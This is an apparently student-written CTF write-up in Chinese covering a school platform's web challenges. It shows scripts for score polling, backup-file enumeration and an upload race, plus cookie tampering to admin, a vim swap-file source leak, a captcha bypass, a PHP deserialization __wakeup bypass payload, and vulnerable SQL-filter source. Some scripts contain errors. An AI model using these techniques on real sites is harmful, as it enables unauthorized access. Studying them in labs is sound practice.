前言 学校实训平台的题目,做一做。
正文 源代码 直接查看源代码,把汉字去了,就是flag
colorsnake 是个贪吃蛇游戏,要吃够50分才可以得到flag,但是
直接吃的话很难做到,还得作弊才行。
看看源码,在结尾处发现一个game.js
打开之后又是一段代码,很长我是看不懂,搜索看看有没有其他页面存在,发现一个getScore.php
再打开看看
一段json编码后的字符,其他也不知道是什么,但是看到了score:0,这是记录分数的。刷新一下页面之后,发现分数变成1了
又刷了一次,又变回0了,然后一直刷刷刷,总是会变回0,不能刷太快也不能刷太慢,差不多每秒一次的样子,尝试写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 import requestsimport jsonimport timeurl='http://bxs.cumt.edu.cn/challenge/web/colorSnake/getScore.php' ses=url.session() for i in range (51 ): time.sleep(1 ) ans=ses.get(url) msg=json.loads(ans.content)['msg' ] print (json.loads(ans.content)['score' ],msg.encode('utf-8' ))
还有一个方法
备份 打开题目,有两个要下载的文件,下载之后,也没发现啥,题目又说有很多备份文件,直接在url里添加1.bak,发现可以直接下载,那看来是藏在这里面了,但是你不可能一个一个找出来的,需要写一个脚本
1 2 3 4 5 6 7 8 9 10 import requestsurl='http://bxs.cumt.edu.cn/challenge/web/code/{num}.bak' for i in range (1000 ): url2=url.format (num=i) ans=requests.get(url2) if flag in ans.text: print ans.text
上传一 不知道什么鬼,直接bp抓包,改了个后缀名就行了
自动获取flag程序 查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 $("#a" ).click(function ( ) { $.ajax({ url:'param1.php' , method:'get' , dataType:'json' , success:calParam2 }) }); function calParam2 (d ) { var data=JSON.parse((d.param)); var length=data.length; var second=new Date().getSeconds(); var sum=0 ; for (var i = 1 ; i < length; i++) { for (var j = 0 ; j < length/2 ; j++) { sum+=parseInt(data[i])*second + data[j]; } } $.ajax({ url:'http://new.ctf.param.com/aram2.php?sum=' +sum, method:'get' , dataType:'json' , success:function (s ) { alert(s.f); }, error :function (s ) { alert('错了' ); } }) }
打开param1.php,得到:
1 {"param":"%5B%221%22%2C%226%22%2C%222%22%2C%228%22%2C%224%22%2C%222%22%2C%228%22%2C%224%22%2C%229%22%2C%221%22%2C%2210%22%5D"}
解码后
1 {"param":"["1","6","2","8","4","2","8","4","9","1","10"]"}
打开param2.php,得到:
1 {"f":"\u5475\u5475\u5475\u5475\u5475\u5475"}
解码后:
把第二个url对照第一个改为:’param2.php?param=’+sum,但是程序中直接得到的参数是编码的 所以在程序中加上解码语句d.param=unescape(d.param)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function calParam2 (d ) { d.param=unescape(d.param); var data=JSON.parse((d.param)); var length=data.length; var second=new Date().getSeconds(); var sum=0 ; for (var i = 1 ; i < length; i++) { for (var j = 0 ; j < length/2 ; j++) { sum+=parseInt(data[i])*second + data[j]; } } $.ajax({ url:'param2.php?param=' +sum, method:'get' , dataType:'json' , success:function (s ) { alert(s.f); }, error :function (s ) { alert('错了' ); } }) }
为什么要加上d.param而不是参数d呢?我没学过JS,但是看参数d的形式就是python字典,要解码的是字典里的后半部分.参考文章
cookie 既然提示cookie了,而且要管理员登录,直接bp抓包,
查看cookie,发现user=guest,直接删掉,改成user=admin
在url访问一下k.jpg,得到一张图,是维吉尼亚,这就好说了,直接把那个密文哪去解密,key=e,解密之后就是flag
上传二 上传一就给了flag了,
logic 查看源码
发现了一些有用的东西
记录了文件编辑器是vim,那么就有可能有文件泄露,尝试submit.php.swp
,得到一个文件,其中的关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 if (!empty ($token )&&!empty ($emailAddress )){ if (strlen($token )!=10 ) die ('fail' ); if ($token !='0' ) die ('fail' ); $sql = "SELECT count(*) as num from `user` where token='$token ' AND email='$emailAddress '" ; $r = mysql_query($sql ) or die ('db error' ); $r = mysql_fetch_assoc($r ); $r = $r ['num' ]; if ($r >0 ){ echo $flag ; }else { echo "失败了呀" ; } }
要求token不空,emailaddress不空,token长度要等于10,而且要token=’0’,这样信息也就收集的差不多了
用户名admin,邮箱chenyurui@gmail.com ,token=0000000000即可。
上传三 随便上传一个,发现和前两题一毛一样的回显,但是没有flag啊,
只能尝试其他后缀试试,发现phtml
上传成功的时候,会回显出来一句话
提示说上传的文件被删除了,没办法,看了看writeup,都是写的脚本爆破的,如下:
1 2 3 4 5 6 7 import requestsurl = "http://202.119.201.199/challenge/web/uploadfile/upload/eee.phtml" ses=requests.session() while True : ans= ses.get(url) if "flag" in ans.text: print (ans.text)
is hash safe?? 题目没了
淘金 这题要抢金币,来购买flag,抢劫的时间只有三秒,而且千万一个人要过五秒才能再次抢他。
可以看到,抢劫成功后,变成了dorob.php,试了一下,只要你点击了名字,可以不管验证码,直接打开dorob.php就可以抢到金币,这样就绕过了验证码。
脚本不会写看的同学的,0verwatch
听说你会面向对象 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class Admin { public $file = 'flag.php' ; public function __construct ($f ) { $this ->file = $f ; } public function __wakeup ( ) { if (stripos($this ->file,'flag' )+1 ){ echo 'dangerrous' ; $this ->file = 'index.php' ; } } public function __destruct ( ) { var_dump($this ->file); var_dump(file_exists($this ->file)); if (!strpos($this ->file,'/' )&&!strpos($this ->file,'\\' )){ highlight_file($this ->file); }else die ('你想干嘛' ); } } if ($_GET ['data' ]){ @unserialize($_GET ['data' ]); }else { highlight_file('index.php' ); } ?>
是考察PHP的序列化问题的,可以看一下我的另一篇文章《PHP的序列化与反序列化》
这里直接构造序列化后的语句:
O:5:”Admin”:2:{s:4:”file”;s:8:”flag.php”;}
稍微有点难的注入 先看看源码,发现注释里面有source.zip,下载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php clearInput($_POST ); clearInput($_GET ); clearInput($_COOKIE ); function clearInput ($input ) { if (is_array($input )){ foreach ($input as $key => $value ){ clearInput($value ); } }else { if (!get_magic_quotes_gpc()) $input = addslashes($input ); $orginInput = $input ; $input = str_ireplace("\"" ,"/" ,$input ); $input = str_ireplace("'" ,"/" ,$input ); $input = str_ireplace("*" ,"/" ,$input ); $input = str_ireplace("~" ,"/" ,$input ); $input = str_ireplace("(" , "/" , $input ); $input = str_ireplace(")" , "/" , $input ); $input = str_ireplace("select" , "\sel\ect" , $input ); $input = str_ireplace("insert" , "\ins\ert" , $input ); $input = str_ireplace("update" , "\up\date" , $input ); $input = str_ireplace("delete" , "\de\lete" , $input ); $input = str_ireplace("union" , "\un\ion" , $input ); $input = str_ireplace("into" , "\in\to" , $input ); $input = str_ireplace("load_file" , "\load\_\file" , $input ); $input = str_ireplace("outfile" , "\out\file" , $input ); $input = str_ireplace("sleep" , "\sle\ep" , $input ); $input = str_ireplace("banchmark" , "ban\chm\ark" , $input ); $input = str_replace("like" , "li\ke%" , $input ); $input_html =$input ; $input = strip_tags($input ); if ($input_html !=$input ) $input ='' ; $input = str_replace("%" , "\%" , $input ); if (strlen($orginInput )!=strlen($input )){ die ('sql injection detected!' ); } return $input ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php include_once 'defense.php' ; include_once 'config.php' ; mysql_select_db("2015KDCTF_sqlsql" ); error_reporting(0 ); foreach ($_GET as $key => $value ) { $$key = $value ; } var_dump($query ); $typeData = getData("SELECT * from type where id='$type '" );if (!empty ($typeData )){ $query = "where type='{$type} '" ; } $query = ($query )?$query :'where 1=2' ;$sql = "SELECT * from news " .$query ;$resultNEWS = getData($sql );function getData ($sql ) { $r = mysql_query($sql ); $result = array (); if ($r ) { while ($row = mysql_fetch_assoc($r )) { $result [] = $row ; } return $result ; } return false ; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /> <meta name="renderer" content="webkit" /> <title>看新闻</title> <style type="text/css" > </style> </head> <body> <ul> <li><a href="index.php?type=1" >热门分类</a></li> <li><a href="index.php?type=2" >学习分类</a></li> <li><a href="index.php?type=3" >游戏分类</a></li> <li><a href="index.php?type=4" >睡觉分类</a></li> <li><a href="index.php?type=5" >嘿嘿分类</a></li> </ul> <ul> <?php if (empty ($resultNEWS )) echo ('没有此类新闻' ); else { foreach ($resultNEWS as $key => $value ) { ?> <li> <h3><?php echo $value ['title' ];?> </h3> <article><?php echo $value ['content' ];?> </article> </li> <?php }} ?> </ul> <!-- 源码备份 source.zip --> </body> </html>